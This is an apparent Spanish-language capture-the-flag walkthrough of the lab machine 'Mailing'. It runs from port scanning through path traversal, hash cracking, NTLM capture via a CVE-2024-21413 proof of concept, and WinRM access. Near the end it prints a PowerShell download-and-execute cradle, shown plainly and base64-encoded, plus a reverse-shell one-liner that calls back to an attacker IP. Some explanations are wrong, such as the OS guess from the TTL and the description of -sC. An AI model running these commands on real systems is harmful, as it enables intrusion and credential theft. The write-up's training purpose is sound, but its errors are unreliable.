Mailing
Mailing es una máquina Windows que ejecuta hMailServer y aloja un sitio web vulnerable a Path Traversal. Esta vulnerabilidad puede ser explotada para acceder al archivo de configuración de hMailServer, revelando el hash de la contraseña del Administrador. Rompiendo este hash, se obtiene la contraseña del Administrador para la cuenta de correo electrónico. Aprovechamos la CVE-2024-21413 en la aplicación Windows Mail del host remoto para capturar el hash NTLM del usuario maya. Luego, podemos romper este hash para obtener la contraseña y acceder como el usuario maya a través de WinRM. Para la escalada de privilegios, explotamos la CVE-2023-2255 en LibreOffice.
Enumeración
Primero, vamos a utilizar el protocolo ICMP para enviar un paquete de prueba a la dirección IP objetivo y verificar si se recibe una respuesta, lo que permite comprobar la conectividad y el estado de la red.
❯ ping -c 1 10.10.11.14
PING 10.10.11.14 (10.10.11.14) 56(84) bytes of data.
64 bytes from 10.10.11.14: icmp_seq=1 ttl=127 time=310 ms
--- 10.10.11.14 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 309.878/309.878/309.878/0.000 ms
La respuesta indica que el paquete llegó a su destino y se recibió una respuesta en un tiempo de 0,123 milisegundos. Gracias al TTL, sabemos que estamos ante una máquina Linux.
Escaneo de puertos
Ahora, vamos a realizar un escaneo de puertos con Nmap para determinar qué puertos están abiertos en la máquina objetivo.
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: puertos
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.94SVN scan initiated Tue Jun 18 18:29:02 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG puertos 10.10.11.14
2 │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
3 │ Host: 10.10.11.14 () Status: Up
4 │ Host: 10.10.11.14 () Ports: 25/open/tcp//smtp///, 80/open/tcp//http///, 110/open/tcp//pop3///, 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 143/open/tcp//imap///, 44
│ 5/open/tcp//microsoft-ds///, 465/open/tcp//smtps///, 587/open/tcp//submission///, 993/open/tcp//imaps///, 5040/open/tcp/////, 5985/open/tcp//wsman///, 7680/open/tcp//pando-pub//
│ /, 47001/open/tcp//winrm///, 49664/open/tcp/////, 49665/open/tcp/////, 49666/open/tcp/////, 49667/open/tcp/////, 49668/open/tcp/////, 49669/open/tcp///// Ignored State: filtered
│ (65515)
5 │ # Nmap done at Tue Jun 18 18:29:28 2024 -- 1 IP address (1 host up) scanned in 26.43 seconds
Opciones de Nmap
- -p-: Indica que se deben escanear todos los puertos (65535 puertos en total).
- –open: Solo muestra los puertos que están abiertos.
- -sS: Realiza un escaneo de puertos utilizando el protocolo TCP SYN (también conocido como “escaneo de puertos stealth”). Esto significa que nmap enviará un paquete SYN a cada puerto y esperará a que el servidor responda con un paquete SYN-ACK.
- –min-rate 5000: Establece la tasa mínima de envío de paquetes en 5000 paquetes por segundo. Esto significa que nmap intentará enviar al menos 5000 paquetes por segundo para realizar el escaneo lo más rápido posible.
- -vvv: Activa el modo verbose. La triple “v” indica que se mostrará la información más detallada posible.
- -n: Desactiva la resolución de nombres de dominio (DNS), lo que acelera el escaneo.
- -Pn: Desactiva el descubrimiento de hosts utilizando el protocolo ICMP. Esto significa que nmap no intentará descubrir si el host está activo antes de realizar el escaneo de puertos.
- -oG: Indica que los resultados del escaneo se guardarán en un archivo en formato Greppable.
Exploración de puertos
Ahora que hemos identificado los puertos abiertos, podemos explorar cada puerto para determinar la versión de los servicios que se ejecutan en cada puerto abierto.
- Puerto 21: FTP (File Transfer Protocol)
- Puerto 22: SSH (Secure Shell)
- Puerto 80: HTTP (Hypertext Transfer Protocol)
Podemos utilizar herramientas como Nmap o Netcat para explorar cada puerto y determinar la versión de los servicios que se ejecutan en cada puerto abierto.
# mmap -p25,80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,49668,49669 -sC -sV -oN targ
│ et 10.10.11.14
2 │ Nmap scan report for 10.10.11.14
3 │ Host is up (0.031s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 25/tcp open smtp hMailServer smtpd
7 │ | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
8 │ |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
9 │ 80/tcp open http Microsoft IIS httpd 10.0
10 │ |_http-title: Did not follow redirect to http://mailing.htb
11 │ |_http-server-header: Microsoft-IIS/10.0
12 │ 110/tcp open pop3 hMailServer pop3d
13 │ |_pop3-capabilities: UIDL USER TOP
14 │ 135/tcp open msrpc Microsoft Windows RPC
15 │ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
16 │ 143/tcp open imap hMailServer imapd
17 │ |_imap-capabilities: CHILDREN IMAP4rev1 CAPABILITY IDLE SORT IMAP4 ACL completed QUOTA NAMESPACE RIGHTS=texkA0001 OK
18 │ 445/tcp open microsoft-ds?
19 │ 465/tcp open ssl/smtp hMailServer smtpd
20 │ |_ssl-date: TLS randomness does not represent time
21 │ | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
22 │ |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
23 │ | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
24 │ | Not valid before: 2024-02-27T18:24:10
25 │ |_Not valid after: 2029-10-06T18:24:10
26 │ 587/tcp open smtp hMailServer smtpd
27 │ | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
28 │ | Not valid before: 2024-02-27T18:24:10
29 │ |_Not valid after: 2029-10-06T18:24:10
30 │ | smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
31 │ |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
32 │ |_ssl-date: TLS randomness does not represent time
33 │ 993/tcp open ssl/imap hMailServer imapd
34 │ |_ssl-date: TLS randomness does not represent time
35 │ |_imap-capabilities: CHILDREN IMAP4rev1 CAPABILITY IDLE SORT IMAP4 ACL completed QUOTA NAMESPACE RIGHTS=texkA0001 OK
36 │ | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
37 │ | Not valid before: 2024-02-27T18:24:10
38 │ |_Not valid after: 2029-10-06T18:24:10
39 │ 5040/tcp open unknown
40 │ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
41 │ |_http-server-header: Microsoft-HTTPAPI/2.0
42 │ |_http-title: Not Found
43 │ 7680/tcp open pando-pub?
44 │ 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
45 │ |_http-server-header: Microsoft-HTTPAPI/2.0
46 │ |_http-title: Not Found
47 │ 49664/tcp open msrpc Microsoft Windows RPC
48 │ 49665/tcp open msrpc Microsoft Windows RPC
49 │ 49666/tcp open msrpc Microsoft Windows RPC
50 │ 49667/tcp open msrpc Microsoft Windows RPC
51 │ 49668/tcp open msrpc Microsoft Windows RPC
52 │ 49669/tcp open msrpc Microsoft Windows RPC
53 │ Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
54 │
55 │ Host script results:
56 │ | smb2-security-mode:
57 │ | 3:1:1:
58 │ |_ Message signing enabled but not required
59 │ |_clock-skew: -1s
60 │ | smb2-time:
61 │ | date: 2024-06-19T11:27:42
62 │ |_ start_date: N/A
Opciones
- -sC: Activa la detección de versiones de servicios en los puertos abiertos. Nmap intentará determinar la versión del servicio que se ejecuta en cada puerto abierto.
- -sV: Activa la detección de versiones de servicios en los puertos abiertos, similar a -sC, pero con una mayor profundidad. Nmap intentará determinar la versión del servicio, el sistema operativo y otros detalles adicionales.
El escaneo muestra que mailing.htb tiene servicios de correo electrónico y servidores web en ejecución.
Voy a usar NetExec
(también conocido como nxc), una herramienta de explotación de servicios de red que ayuda a automatizar la evaluación de la seguridad de grandes redes.
❯ nxc smb 10.10.11.14
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
Podemos usar shares para ver si la autenticación anónima está activa.
❯ nxc smb 10.10.11.14 --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] Error getting user: list index out of range
SMB 10.10.11.14 445 MAILING [-] Error enumerating shares: [Errno 32] Broken pipe
❯ nxc smb 10.10.11.14 -u '' -p '' --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [-] MAILING\: STATUS_ACCESS_DENIED
SMB 10.10.11.14 445 MAILING [-] Error getting user: list index out of range
SMB 10.10.11.14 445 MAILING [-] Error enumerating shares: Error occurs while reading from remote(104)
Con smb, podemos probar así, pero nos va a dar el mismo error.
❯ smbclient -N -L //10.10.11.14
session setup failed: NT_STATUS_ACCESS_DENI
Opciones de smbclient
- -N: Intenta acceder al servidor SMB como un usuario anónimo
- -L: Indica que deseas listar los recursos compartidos disponibles en el servidor SMB especificado
Pero nada, así que vamos a pasar a echar un vistazo al Servidor Web.
Analizando Web
Nos dicen que usan ‘hMailServer’, y tienen una lista de empleados (Ruy, Maya, Gregory). Encontramos también un pdf con las instrucciones de como conectarse al correo. Voy a descargarlo y abrirlo.
Y encontramos una dirección de correo, en este caso la de Maya.
Voy a usar ExifTool para extraer metadatos del archivo PDF llamado instructions.pdf
❯ exiftool ~/Downloads/instructions.pdf
ExifTool Version Number : 12.76
File Name : instructions.pdf
Directory : /home/oso/Downloads
File Size : 1705 kB
File Modification Date/Time : 2024:09:08 15:35:47-04:00
File Access Date/Time : 2024:09:08 15:35:48-04:00
File Inode Change Date/Time : 2024:09:08 15:35:48-04:00
File Permissions : -r--------
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 16
Language : es
Tagged PDF : Yes
XMP Toolkit : 3.1-701
Producer : Microsoft® Word para Microsoft 365
Creator : Ruy Alonso Fernández
Creator Tool : Microsoft® Word para Microsoft 365
Create Date : 2024:03:11 18:46:08+01:00
Modify Date : 2024:03:11 18:46:08+01:00
Document ID : uuid:8E915C28-9456-4488-BB12-8E3445231916
Instance ID : uuid:8E915C28-9456-4488-BB12-8E3445231916
Author : Ruy Alonso Fernández
Y vemos que el software que produjo el archivo es Microsoft® Word para Microsoft 365, que el autor del documento es Ruy Alonso Fernández, el idioma español y poco más.
Testear Path Traversal
Voy a intentar leer un archivo del sistema operativo que debería estar fuera del alcance de la aplicación web haciendo un Path Traversal.
Y me deja, así que voy a buscar en Internet la ruta dónde se suele instalar el archivo de configruación de hMailServer (C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini) para intentar usar la misma técnica y acceder a su lectura.
Y conseguimos acceso al archivo hMailServer.ini. El archivo contiene el hash de la contraseña del administrador. Si desciframos este hash podríamos obtener la pass en texto plano y acceder al panel de admin de hMailServer, lo que nos permitiría controlar todos los aspectos del servidor de correo.
Antes de intentar descifrar el hash es importante identificar de que tipo es. Parece ser un MD5 por su longitud y estructura (32 caracteres hexadecimales). Puedes usar herramientas como hashid o hash-identifier para identificar el tipo de hash.
❯ hashid 841bb5acfa6779ae432fd7a4e6600ba7
Analyzing '841bb5acfa6779ae432fd7a4e6600ba7'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
Vamos a intentar descrifar el hash.
John the Ripper:
❯ echo "841bb5acfa6779ae432fd7a4e6600ba7" > hashAdminPass.txt
❯ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashAdminPass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
homenetworkingadministrator (?)
1g 0:00:00:00 DONE (2024-09-08 16:35) 3.030g/s 22915Kp/s 22915Kc/s 22915KC/s homerandme..homejame
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
❯ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashMSSQLCE.txt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-09-08 16:43) 0g/s 20787Kp/s 20787Kc/s 20787KC/s fuckyooh21..*7¡Vamos!
Session completed.
Hashcat:
hashcat -m 0 -a 0 hashAdminPass.txt /usr/share/wordlists/rockyou.txt
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator
Opciones de hashcat
- -m 0: Especifica que el tipo de hash es MD5.
- -a 0: Especifica que usas un ataque de diccionario (wordlist).
Y conseguimos descifrar el hash MD5 con éxito del Administrador, pero no de la database.
Podemos probar si estas credenciales funcionan con SMTP (Simple Mail Transfer Protocol) con Swaks (Swiss Army Knife for SMTP)
, una herramienta de línea de comandos diseñada para probar y depurar servidores SMTP . Es especialmente útil para los administradores de sistemas y los profesionales de seguridad que necesitan verificar la configuración y el funcionamiento de sus servidores de correo electrónico.
Vamos a intentar conectarnos al servidor mailing.htb, autenticandonos utilizando el método de autenticación LOGIN y el usuario administrator@mailing.htb
❯ swaks -server mailing.htb --auth LOGIN --auth-user administrator@mailing.htb --auth-password homenetworkingadministrator --quit-after AUTH
=== Trying mailing.htb:25...
=== Connected to mailing.htb.
<- 220 mailing.htb ESMTP
-> EHLO oso.oso
<- 250-mailing.htb
<- 250-SIZE 20480000
<- 250-AUTH LOGIN PLAIN
<- 250 HELP
-> AUTH LOGIN
<- 334 VXNlcm5hbWU6
-> YWRtaW5pc3RyYXRvckBtYWlsaW5nLmh0Yg==
<- 334 UGFzc3dvcmQ6
-> aG9tZW5ldHdvcmtpbmdhZG1pbmlzdHJhdG9y
<- 235 authenticated.
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.
Y como vemos tenemos acceso al servidor de correo en términos de autenticación.
Monikor Link /CVE-2024-21413/ - Enviando documento malicioso a Maya para obtener el Hash NTLM
Dado que el servidor remoto de Windows está ejecutando un servidor de correo, es probable que también esté utilizando un cliente de correo para conectarse a él. El cliente de correo predeterminado para Windows es Windows Mail. Con esta información y una búsqueda en Google sobre vulnerabilidades recientes relacionadas con Windows Mail, nos lleva a este repositorio de GitHub, que incluye una PoC (ejemplo o prototipo que demuestra que una vulnerabilidad puede ser explotada o que un ataque puede tener éxito) para CVE-2024-21413.
El script se utiliza para enviar un correo electrónico que contiene un enlace malicioso que, al ser abierto, puede desencadenar la vulnerabilidad CVE-2024-21413 en el cliente de correo del destinatario. Voy a usar Responder
, que se utiliza para capturar cualquier credencial que se envíe como resultado de la interacción del usuario con ese enlace, lo que permite al atacante obtener acceso no autorizado a la información del usuario.
❯ sudo responder -I tun0
[sudo] password for oso:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.239]
Responder IPv6 [dead:beef:2::10ed]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
[+] Current Session Variables:
Responder Machine Name [WIN-AY78C926MHH]
Responder Domain Name [KM6R.LOCAL]
Responder DCE-RPC Port [45226]
[+] Listening for events...
SMB está ON, así que pasamos a ejecutar el script.
❯ python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.14.239\test\testiiing" --subject Test
A pesar de estar haciendo muchas pruebas no conseguía captar la información. Así que modifiqué el Script y me puse a hacer pruebas para comprobar que todo estaba funcionando y decidí ejecutar muchas veces el programa para ver si me daba algún rate limited al enviar muchos mensajes o pasaba como a veces que tienes que runnear varias veces el script porque no llega a cargar bien del todo. Y tras mucho tiempo estancado en esto consigo que me llegue la data.
La información que nos llega al Servidor es una solicitud de autenticación NTLMv2 SSP (Security Support Provider) desde un cliente SMB (10.10.10.14) a nuestro servidor Responder. Lo que capturamos es:
- Cliente NTLMv2-SSP:
- IP del Cliente: 10.10.11.14 es la dirección IP del cliente que está intentando autenticarse.
- Nombre de Usuario NTLMv2-SSP:
- Usuario: MAILING\maya es el nombre de usuario en el dominio MAILING que está intentando autenticarse.
- Hash NTLMv2-SSP:
- Hash: Este es el hash NTLMv2 que contiene información cifrada sobre la autenticación. El hash incluye varios elementos importantes para la autenticación NTLMv2, como la clave de sesión y datos de desafío
Con esta información podemos cracker el hash para obtener la contraseña del usuario Maya.
Hashcat:
Primero voy a buscar en la ayuda de hashcat las lineas relacionadas con NTLMv2, para saber que modo usar.
❯ hashcat -h | grep -i "NTLMV2"
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
Una vez sé que es el 5600, voy a ejecutar el siguiente comando
❯ hashcat -m 5600 hashMaya.txt /usr/share/wordlists/rockyou.txt -o crackHashMaya.txt
Opciones de Hashcat
- -m 5600: Especifica que el tipo de hash que se está intentando crackear es NetNTLMv2 (modo 5600).
- hashMaya.txt: Es el archivo que contiene el hash NTLMv2 de la cuenta Maya, que se va a crackear.
- /usr/share/wordlists/rockyou.txt: Es la lista de contraseñas que se usará para intentar crackear el hash. Esta es una de las listas de contraseñas más populares.
- -o crackHashMaya.txt: El hash crackeado junto con la contraseña debe guardarse en el archivo crackHashMaya.txt.
Vamos a volver a usar NetExec para ver si ahora podemos autenticarnos en el servidor SMB usando las credenciales de maya con la contraseña que acabamos de sacar.
MAYA::MAILING:791cf7736242d34d:27d5362744daec507f80d903b8844567:0101000000000000805714e2a603db01ba3598f3f3e01e7000000000020008004b00420035004a0001001e00570049004e002d005a0030004300570051❯ nxc smb 10.10.11.14 -u maya -p m4y4ngs4ri
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [+] MAILING\maya:m4y4ngs4ri
Esta última línea nos indica que la autenticación con las credenciales proporcionadas (maya como usuario y m4y4ngs4ri como contraseña) fue exitosa. Si no saldría STATUS_LOGON_FAILURE.
Ahora, vamos a enumerar los recursos compartidos del servidor.
❯ nxc smb 10.10.11.14 -u maya -p m4y4ngs4ri --shares
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [+] MAILING\maya:m4y4ngs4ri
SMB 10.10.11.14 445 MAILING [*] Enumerated shares
SMB 10.10.11.14 445 MAILING Share Permissions Remark
SMB 10.10.11.14 445 MAILING ----- ----------- ------
SMB 10.10.11.14 445 MAILING ADMIN$ READ,WRITE Admin remota
SMB 10.10.11.14 445 MAILING C$ READ,WRITE Recurso predeterminado
SMB 10.10.11.14 445 MAILING Important Documents READ
SMB 10.10.11.14 445 MAILING IPC$ READ IPC remota
❯ nxc smb 10.10.11.14 -u maya -p m4y4ngs4ri --share ADMIN$
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)
Como vemos ha logrado conectarse correctamente al recurso compartido ADMIN$, pero no ha realizado ninguna acción adicional. Pwn3d! es un mensaje de conexión exitosa. Pero este comando solo auntentica y conecta al recurso compartido pero no abra una sesión interactiva de SMB. Así que para ello voy a usar lo siguiente.
❯ smbclient //10.10.11.14/ADMIN$ -U maya
Password for [WORKGROUP\maya]:
Try "help" to get a list of possible commands.
smb: \>
Y ya tendría acceso. Pero no encuentro ahí información útil asi que pruebo a usar, Evil-WinRM
, una herramienta diseñada para interactuar WinRM( Windows Remote Management) y ejecutar comando remotamente en el sistema Windows.
❯ evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maya\Documents>
Y la conexión se establece exitosamente. Vamos a ir al Important Documents que habíamos visto antes en el SMB pero no enonctré nada.
----------------------------- SMB -----------------------------
❯ smbclient //10.10.11.14/Important\ Documents -U maya
Password for [WORKGROUP\maya]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 11 13:28:14 2024
.. D 0 Wed Sep 11 13:28:14 2024
8067583 blocks of size 4096. 1106423 blocks available
smb: \>
----------------------------- EVIL WINRM -----------------------------
*Evil-WinRM* PS C:\Important Documents> gci -force
*Evil-WinRM* PS C:\Important Documents> dir
*Evil-WinRM* PS C:\Important Documents>
Pero tampoco veo nada.
Voy a seguir enumerando
Usuarios Locales
glu
Name | Enabled | Description |
---|---|---|
Administrador | False | Cuenta integrada para la administración del equipo o dominio |
DefaultAccount | False | Cuenta de usuario administrada por el sistema. |
Invitado | False | Cuenta integrada para el acceso como invitado al equipo o dominio |
localadmin | True | |
maya | True | |
WDAGUtilityAccount | False | Una cuenta de usuario que el sistema administra y usa para escenarios de Protección de aplicaciones de Windows Defender. |
Grupos Locales
glg
Name | Description |
---|---|
Administradores | Los administradores tienen acceso completo y sin restricciones al equipo o dominio |
Administradores de Hyper-V | Los miembros de este grupo tienen acceso completo y sin restricciones a todas las características de Hyper-V. |
Duplicadores | Pueden replicar archivos en un dominio |
IIS_IUSRS | Grupo integrado usado por Internet Information Services. |
Invitados | De forma predeterminada, los invitados tienen el mismo acceso que los miembros del grupo Usuarios, excepto la cuenta de invitado que tiene más restricciones |
Lectores del registro de eventos | Los miembros de este grupo pueden leer registros de eventos del equipo local. |
Operadores criptográficos | Los miembros tienen autorización para realizar operaciones criptográficas. |
Operadores de asistencia de control de acceso | Los miembros de este grupo pueden consultar de forma remota los atributos de autorización y los permisos para los recursos de este equipo. |
Operadores de configuración de red | Los miembros en este equipo pueden tener algunos privilegios administrativos para administrar la configuración de las características de la red |
Operadores de copia de seguridad | Los operadores de copia de seguridad pueden invalidar restricciones de seguridad con el único propósito de hacer copias de seguridad o restaurar archivos. |
Propietarios del dispositivo | Los miembros de este grupo pueden cambiar la configuración de todo el sistema. |
Remote Management Users | Los miembros de este grupo pueden acceder a los recursos de WMI mediante protocolos de administración (como WS-Management a través del servicio Administración remota de Windows). Esto se aplica solo a… |
System Managed Accounts Group | Los miembros de este grupo los administra el sistema. |
Usuarios | Los usuarios no pueden hacer cambios accidentales o intencionados en el sistema y pueden ejecutar la mayoría de aplicaciones. |
Usuarios avanzados | Los usuarios avanzados se incluyen para la compatibilidad con versiones anteriores y poseen derechos administrativos limitados. |
Usuarios COM distribuidos | Los miembros pueden iniciar, activar y usar objetos de COM distribuido en este equipo. |
Usuarios de escritorio remoto | A los miembros de este grupo se les concede el derecho de iniciar sesión remotamente. |
Usuarios del monitor de sistema | Los miembros de este grupo tienen acceso a los datos del contador de rendimiento de forma local y remota. |
Usuarios del registro de rendimiento | Los miembros de este grupo pueden programar contadores de registro y rendimiento, habilitar proveedores de seguimiento y recopilar seguimientos de eventos localmente y a través del acceso remoto a est… |
LibreOffice
*Evil-WinRM* PS C:\Program Files\Libreoffice\program> type version.ini
[Version]
AllLanguages=en-US af am ar as ast be bg bn bn-IN bo br brx bs ca ca-valencia ckb cs cy da de dgo dsb dz el en-GB en-ZA eo es et eu fa fi fr fur fy ga gd gl gu gug he hsb hi hr hu id is it ja ka kab kk km kmr-Latn kn ko kok ks lb lo lt lv mai mk ml mn mni mr my nb ne nl nn nr nso oc om or pa-IN pl pt pt-BR ro ru rw sa-IN sat sd sr-Latn si sid sk sl sq sr ss st sv sw-TZ szl ta te tg th tn tr ts tt ug uk uz ve vec vi xh zh-CN zh-TW zu
buildid=43e5fcfbbadd18fccee5a6f42ddd533e40151bcf
ExtensionUpdateURL=https://updateexte.libreoffice.org/ExtensionUpdateService/check.Update
MsiProductVersion=7.4.0.1
ProductCode={A3C6520A-E485-47EE-98CC-32D6BB0529E4}
ReferenceOOoMajorMinor=4.1
UpdateChannel=
UpdateID=LibreOffice_7_en-US_af_am_ar_as_ast_be_bg_bn_bn-IN_bo_br_brx_bs_ca_ca-valencia_ckb_cs_cy_da_de_dgo_dsb_dz_el_en-GB_en-ZA_eo_es_et_eu_fa_fi_fr_fur_fy_ga_gd_gl_gu_gug_he_hsb_hi_hr_hu_id_is_it_ja_ka_kab_kk_km_kmr-Latn_kn_ko_kok_ks_lb_lo_lt_lv_mai_mk_ml_mn_mni_mr_my_nb_ne_nl_nn_nr_nso_oc_om_or_pa-IN_pl_pt_pt-BR_ro_ru_rw_sa-IN_sat_sd_sr-Latn_si_sid_sk_sl_sq_sr_ss_st_sv_sw-TZ_szl_ta_te_tg_th_tn_tr_ts_tt_ug_uk_uz_ve_vec_vi_xh_zh-CN_zh-TW_zu
UpdateURL=https://update.libreoffice.org/check.php
UpgradeCode={4B17E523-5D91-4E69-BD96-7FD81CFA81BB}
UpdateUserAgent=<PRODUCT> (${buildid}; ${_OS}; ${_ARCH}; <OPTIONAL_OS_HW_DATA>)
Vendor=The Document Foundation
Viendo la versión de LibreOffice que es la 7.4.0.1 y buscando el google algun exploit encuentro un CVE-2023-2255. Voy a descargarlo y voy a crear un script en PS para descargar y ejecutar un script desde nuestra ip.
sudo nano cradle
❯ cat cradle
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: cradle
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ IEX(New-Object Net.WebClint).downloadString('http://10.10.14.183:8000/shell.ps1')
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ cat cradle | iconv -t utf-16le | base64 -w 0
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgAxADgAMwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQAnACkACgA=%
Me lo copio codificado y me voy a descargar Nishang
, un framework y una colección de scripts y cargas útiles que permiten el uso de PowerShell para seguridad ofensiva, pruebas de penetración y trabajo en equipo. Copiamos el siguiente script, el cual actúa como un reverse shell en PowerShell. Se conecta a un servidor remoto y permite que los comandos sean enviados desde el servidor para su ejecución en la máquina que ejecuta el script. La salida del comando se envía de vuelta al servidor.
❯ cp nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 scripts/shell.ps1
❯ cat shell.ps1
───────┬──────────────────────────────────────────────────────────────────────────────────
│ File: shell.ps1
───────┼──────────────────────────────────────────────────────────────────────────────────
1 │
2 │ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.183',9001);$stream =
│ $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($byte
│ s, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEnco
│ ding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendbac
│ k2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).
│ GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
│ ;$client.Close()
3 │
4 │
